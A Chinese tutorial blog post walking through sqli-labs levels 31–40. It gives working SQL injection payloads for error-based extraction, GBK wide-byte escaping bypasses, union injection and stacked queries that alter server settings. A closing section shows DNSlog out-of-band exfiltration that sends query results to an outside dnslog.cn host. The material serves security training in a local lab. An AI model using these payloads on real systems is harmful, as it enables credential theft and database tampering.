SQL注入实操三(SQLi-labs 31-40)

news2024/9/23 17:20:52

文章目录

  • 一、sqli-labs靶场
    • 1.轮子模式总结
    • 2.Less-31 FUN with WAF
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 3.Less-32 Bypass addslashes()
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 4.Less-33
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 6.Less-35 why care for addslashes()
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 7.Less-36 Bypass MySQL Real Escape String
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 8.Less-37 MySQL_real_escape_string
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 9.Less-38 stacked Query
      • a.堆叠注入前提条件
      • b.注入点判断
      • c.轮子测试
      • d.获取数据库名称
      • e.获取表信息
      • f.获取列信息
      • g.获取表内数据
    • 10.Less-39 stacked Query Intiger type
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 11.Less-40
      • a.注入点判断
      • b.轮子测试
      • c.联合盲注测试思路
      • d.获取数据库名称
      • e.获取表信息
      • f.获取列信息
      • g.获取表内数据
      • h.堆叠注入
  • 二、其他注入方式
    • 1.Dnslog对外注入

一、sqli-labs靶场

1.轮子模式总结

到目前为止,我总结了一下出现过的轮子,可以得出一个结论,首先需要知道有几个参数,前面6种都是单参数的,多参数的只能通过报错信息得知,用–+还是#也要看报错情况
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情况设置显示位
② ')–+
)可选,'可换成"
③ ‘) --+(
)可换成)),(可换成((,‘可换成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#
⑧ ‘) and 1 and (’
⑨ ‘||1||’
⑩ ‘#或‘–+
⑪ 1’) anandd (if(1=1, sleep(1), 1)) anandd('1

2.Less-31 FUN with WAF

a.注入点判断

双引号报错,存在注入

b.轮子测试

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
通过报错提示可以得知id做了双引号和括号,因此因该先做闭合
因此轮子应该是2") and 1 and ("2
在这里插入图片描述

验证没报错应该可以

c.获取数据库名称

2") and updatexml(1,concat(0x7e,(SELECT database())),0x7e) and ("2
在这里插入图片描述

d.获取表信息

2") and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) and ("2
在这里插入图片描述

e.获取列信息

2") and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) and ("2
在这里插入图片描述

f.获取表内数据

2") and updatexml(1, concat(0x7e,(select group_concat(username,“:”, password) from users where id = 4),0x7e), 0x7e) and ("2
在这里插入图片描述

3.Less-32 Bypass addslashes()

前提
1.使用了addslashes()函数
2.数据库设置了编码模式为GBK
原理:前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运”,而单引号逃逸了出来,形成了注入漏洞

a.注入点判断

这关应该就是之前说的宽字节注入了,这里需要输入%df’才能出现报错
在这里插入图片描述在这里插入图片描述

b.轮子测试

2%df%27 and 1 --+
输出正常
在这里插入图片描述

c.获取数据库名称

2%df%27 and updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
在这里插入图片描述

d.获取表信息

2%df%27 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database() limit 4,1),0x7e), 0x7e) --+
这里不能出现引号了
在这里插入图片描述

e.获取列信息

2%df%27 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(‘users’) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
但是这样该怎么办呢,还有两个引号去不掉
在这里插入图片描述

改造下表信息的获取方式
2%df%27 union select 1,2,table_name FROM information_schema.tables WHERE table_schema = database() limit 4, 1 --+
在这里插入图片描述

将表查询代入得到
2%df%27 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

f.获取表内数据

2%df%27 and updatexml(1, concat(0x7e,(select group_concat(username,”:”, password) from users where id = 4),0x7e), 0x7e) --+
这里也有两个引号,咋整,没办法,只能拆开来了
2%df%27 and updatexml(1, concat(0x7e,(select username from users where id = 4),0x7e), 0x7e) --+
在这里插入图片描述

2%df%27 and updatexml(1, concat(0x7e,(select password from users where id = 4),0x7e), 0x7e) --+
在这里插入图片描述

4.Less-33

同Less32
5.Less-34 Bypass Add SLASHES

a.注入点判断

还是一样存在宽字节注入
在这里插入图片描述

b.轮子测试

3+%df’+and+1±-+
这个poc:需要在bp里运行才能看到效果
在这里插入图片描述

c.获取数据库名称

3+%df’+and+updatexml(1,concat(0x7e,(SELECT database())),0x7e)±-+
在这里插入图片描述

d.获取表信息

3+%df’+and+updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) ±-+
在这里插入图片描述

e.获取列信息

3+%df’+and+updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) ±-+
在这里插入图片描述

f.获取表内数据

3+%df’+and+updatexml(1, concat(0x7e,(select username from users where id = 4),0x7e), 0x7e)±-+
在这里插入图片描述

6.Less-35 why care for addslashes()

a.注入点判断

还是一样存在宽字节注入,不能用引号,也不能用%df’
在这里插入图片描述

b.轮子测试

3 and 1

c.获取数据库名称

3 and updatexml(1,concat(0x7e,(SELECT database())),0x7e)
在这里插入图片描述

d.获取表信息

3 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)
在这里插入图片描述

e.获取列信息

3 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e)
在这里插入图片描述

f.获取表内数据

3 and updatexml(1, concat(0x7e,(select username from users where id = 4),0x7e), 0x7e)
在这里插入图片描述

7.Less-36 Bypass MySQL Real Escape String

a.注入点判断

怎么还是宽字节注入
在这里插入图片描述

b.轮子测试

3%df’+and+1±-+
在这里插入图片描述

c.获取数据库名称

3%df’+and+updatexml(1,concat(0x7e,(SELECT+database())),0x7e)±-+
在这里插入图片描述

d.获取表信息

3%df’+and+updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)±-+
在这里插入图片描述

e.获取列信息

3%df’+and+updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e)±-+
在这里插入图片描述

f.获取表内数据

3%df’+and+updatexml(1, concat(0x7e,(select username from users where id = 4),0x7e), 0x7e)±-+
在这里插入图片描述

3%df’+and+updatexml(1, concat(0x7e,(select password from users where id = 4),0x7e), 0x7e)±-+
在这里插入图片描述

8.Less-37 MySQL_real_escape_string

a.注入点判断

还是宽字节注入
在这里插入图片描述在这里插入图片描述

b.轮子测试

3%df’+and+1±-+
需在bp环境测试

c.获取数据库名称

3%df’+and+updatexml(1,concat(0x7e,(SELECT+database())),0x7e)±-+
在这里插入图片描述

d.获取表信息

3%df’+and+updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)±-+
在这里插入图片描述

e.获取列信息

3%df’+and+updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e)±-+
在这里插入图片描述

f.获取表内数据

3%df’+and+updatexml(1, concat(0x7e,(select username from users where id = 4),0x7e), 0x7e)±-+
在这里插入图片描述

9.Less-38 stacked Query

据说这关存在传说中的堆叠注入,研究下
mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句,比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束

a.堆叠注入前提条件

目标存在sql注入漏洞
目标未对";"号进行过滤
目标中间层查询数据库信息时可同时执行多条sql语句

?id=1’ order by 3%23
?id=1’;show tables%23
?id=-1’;show columns from 1919810931114514%23
?id=1’; insert into users(id,username,password) values(88,‘aaa’,‘bbb’)#

b.注入点判断

单引号报错,存在注入
在这里插入图片描述

c.轮子测试

3’ and 1 --+

d.获取数据库名称

3’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
在这里插入图片描述

e.获取表信息

3’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
在这里插入图片描述

f.获取列信息

3’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

g.获取表内数据

3’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) --+
在这里插入图片描述

不是存在堆叠注入吗,怎么用
我们先看下这个配置
在这里插入图片描述

然后把它改成off
在这里插入图片描述

现在我们在url里看下能不能改这个配置
1’;set global general_log = on;
执行后再查一下看有没有变为on,哇,真的改了耶,好恐怖
在这里插入图片描述

10.Less-39 stacked Query Intiger type

a.注入点判断
加入引号报错,存在报错注入
在这里插入图片描述

b.轮子测试

1 and 1 --+

c.获取数据库名称

1 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
在这里插入图片描述

d.获取表信息

1 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
在这里插入图片描述

e.获取列信息

1 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

f.获取表内数据

1 and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) --+
在这里插入图片描述

然后我们再把general_log改为off
在这里插入图片描述

然后1;set global general_log = on;运行下
在这里插入图片描述

再查general_log状态
在这里插入图片描述

说明确实存在堆叠注入

11.Less-40

a.注入点判断

奇数单引号存在无任何输出,有点像盲注
在这里插入图片描述

b.轮子测试

-2’) union select 1,2,3 --+

c.联合盲注测试思路

如果没有任何报错信息的情况下,先找出一个可以正常输出数据的句法
如:2’) union select 1,2,3 --+,此间需要:
测试ID是否加了括号
测试是单引号还是双引号
测试union select的显示列数
测试注释符是用#还是–+还是(‘还是(“,需要逐一尝试
在这里插入图片描述

出现正常输出后把id改成一个不存在的,如-1,输出结果是
在这里插入图片描述

这时可以替换2或3为我们想要显示的内容,如

d.获取数据库名称

-1’) union select 1,2,database() --+
在这里插入图片描述

e.获取表信息

-1’) union select 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database() --+
在这里插入图片描述

f.获取列信息

-1’) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1 --+
在这里插入图片描述

g.获取表内数据

-1’) union select 1,2,group_concat(username,‘:’, password) from users where id = 4 --+
在这里插入图片描述

h.堆叠注入

执行前
在这里插入图片描述

-1’) union select 1,2,group_concat(username,‘:’, password) from users where id = 4;set global general_log = on; --+
执行后
在这里插入图片描述

二、其他注入方式

1.Dnslog对外注入

通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池
注入语句:
?id=1’ and (select load_file(concat(‘\’,(select hex(user())),‘.http://682y4b.dnslog.cn/abc’))) --+
?id=1’ and (select load_file(concat(‘\’,(select database()),‘.http://682y4b.dnslog.cn/abc’))) --+

http://127.0.0.1:9009/Less-5/?id=-1%27%20union%20select%201,load_file(concat(%27\\%27,hex(user()),%27.mgm89v.dnslog.cn\abc%27)),3–+
如下实际为构造域名:\user().mgm89v.dnslog.cn\abc

执行后点击刷新记录

提取DNS查询记录在16进制转成文本即可获取实际数据

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/806885.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

openGauss学习笔记-24 openGauss 简单数据管理-模式匹配操作符

文章目录 openGauss学习笔记-24 openGauss 简单数据管理-模式匹配操作符24.1 LIKE24.2 SIMILAR TO24.3 POSIX正则表达式 openGauss学习笔记-24 openGauss 简单数据管理-模式匹配操作符 数据库提供了三种独立的实现模式匹配的方法:SQL LIKE操作符、SIMILAR TO操作符…

秸秆变建材 | 更低碳,更高效!

秸秆是农作物收割后的残余资源,作为建材使用历史悠久。早在1886年美国内布拉斯加州就有了秸秆建筑。 其后秸秆建筑经历了两个发展高峰期:在第一个高峰期,1905年德国将麦秸和胶黏剂混合制成板材;1920年美国路易安那州建立了蔗渣制板…

【业务功能篇58】Springboot + Spring Security 权限管理 【中篇】

4.2.3 认证 4.2.3.1 什么是认证(Authentication) 通俗地讲就是验证当前用户的身份,证明“你是你自己”(比如:你每天上下班打卡,都需要通过指纹打卡,当你的指纹和系统里录入的指纹相匹配时&…

【计算机视觉 | 目标检测】arxiv 计算机视觉关于目标检测的学术速递(7 月 26 日论文合集)

文章目录 一、检测相关(7篇)1.1 Personal Protective Equipment Detection in Extreme Construction Conditions1.2 RecursiveDet: End-to-End Region-based Recursive Object Detection1.3 Re-mine, Learn and Reason: Exploring the Cross-modal Semantic Correlations for L…

【每日一题】—— A - 1-2-4 Test (AtCoder Beginner Contest 270)

🌏博客主页:PH_modest的博客主页 🚩当前专栏:每日一题 💌其他专栏: 🔴 每日反刍 🟡 C跬步积累 🟢 C语言跬步积累 🌈座右铭:广积粮,缓称…

操作系统的概念、并发和并行的区别、操作系统的发展和分类

操作系统 一、操作系统的概念1.1操作系统作为系统资源的管理者1.2向上层提供方便易用的服务1.2.1 联机命令接口(交互式命令接口)1.2.2 脱机命令接口(批处理命令接口)1.2.3程序接口 1.3最接近硬件的一层软件 二、操作系统的特征2.1…

renderjs 与 app-vue之间数据交互

renderjs 与 app-vue之间数据传值 文章目录 renderjs 与 app-vue之间数据传值renderjs效果图templatejs renderjs renderjs renderjs 的主要作用: 大幅降低逻辑层和视图层的通讯损耗,提供高性能视图交互能力在视图层操作dom,运行 for web 的…

1400*C. Phoenix and Towers(贪心)

题意: 将 n 个数字分成 m 组,使得每两组的差值都不超过 x ,打印每个数的分组的组数 解析: 因为每一个数都不超过 x ,所以两个数的差值必定不超过 x,每次选最矮的一座塔放入当前的砖块,并且记录塔…

iOS开发-下拉刷新动画小球左右交换位置Indicator指示器效果

iOS开发-下拉刷新动画小球左右交换位置Indicator指示器效果 之前开发中实现下拉刷新动画小球左右交换位置Indicator指示器效果。 一、效果图 二、基础动画 CABasicAnimation类的使用方式就是基本的关键帧动画。 所谓关键帧动画,就是将Layer的属性作为KeyPath来注…

Linux:shell命令运行原理和权限的概念

文章目录 shell和kernelshell的概念和原理Linux的权限文件的权限文件的类型文件的权限管理权限的实战应用 shell和kernel 从狭义上来讲,Linux是一个操作系统,我们叫它叫kernel,意思是核心,核心的意思顾名思义,就是最关…

【LeetCode】72.(最短)编辑距离(闫氏dp,分析加可视化)

考虑两个数组:a、b 定义dp[ i ][ j ]为,让数组a从1到 i 的字符,与数组b从1到 j 的字符,正好匹配上的最小操作数。 假设现在面前有一个正好匹配的数组a和b,其中a的长度为 i ,b的长度为 j (两个…

python离散仿真器

文章目录 类图示例 类图 示例

浅谈3D隐式表示(SDF,Occupancy field,NeRF)

本篇文章介绍了符号距离函数Signed Distance Funciton(SDF),占用场Occupancy Field,神经辐射场Neural Radiance Field(NeRF)的概念、联系与区别。 显式表示与隐式表示 三维空间的表示形式可以分为显式和隐式。 比较常用的显式表…

基于SpringBoot+Vue的财务管理系统设计与实现(源码+LW+部署文档等)

博主介绍: 大家好,我是一名在Java圈混迹十余年的程序员,精通Java编程语言,同时也熟练掌握微信小程序、Python和Android等技术,能够为大家提供全方位的技术支持和交流。 我擅长在JavaWeb、SSH、SSM、SpringBoot等框架…

【动态规划part10】| 121.买卖股票的最佳时机、122.买卖股票的最佳时机II

目录 🎈LeetCode121. 买卖股票的最佳时机 🎈LeetCode122.买卖股票的最佳时机II 🎈LeetCode121. 买卖股票的最佳时机 链接:121.买卖股票的最佳时机 给定一个数组 prices ,它的第 i 个元素 prices[i] 表示一支给定…

图神经网络(GNN)入门学习笔记(直观且简单)

文章目录 图的定义和表示可以使用图数据结构的问题将图结构用于机器学习的挑战最基本的图神经网络概述汇聚操作基于信息传递的改进图神经网络全局向量信息的利用 本篇文章参考发表于Distill上的图神经网络入门博客: A Gentle Introduction to Graph Neural Network…

网络防御之IDS

1. 什么是IDS? IDS是入侵检测系统,一种对于网络传输进行及时监视,在发现可疑的传输时发出警报或者采取主动反应措施的网络安全设备。IDS是一种积极地主动的防御技术。 2. IDS和防火墙有什么不同? 防火墙是一种隔离并过滤非授权用…

CV前沿方向:Visual Prompting 视觉提示工程下的范式

prompt在视觉领域,也越来越重要,在图像生成,作为一种可控条件,增进交互和可控性,在多模态理解方面,指令prompt也使得任务灵活通用。视觉提示工程,已然成为CV一个前沿方向! 下面来看看…

Python Numpy入门基础(二)数组操作

入门基础(二) NumPy是Python中一个重要的数学运算库,它提供了了一组多维数组对象和一组用于操作这些数组的函数。以下是一些NumPy的主要特点: 多维数组对象:NumPy的核心是ndarray对象,它是一个多维数组对…

TCP/IP协议详解(二)

目录内容 TCP协议的可靠性 TCP的三次握手 TCP的四次挥手 C#中,TCP/IP建立 三次握手和四次挥手常见面试题 在上一篇文章中讲解了TCP/IP的由来以及报文格式,详情请见上一篇文章,现在接着来讲讲TCP/IP的可靠性以及通过代码的实现。 在TCP首部的…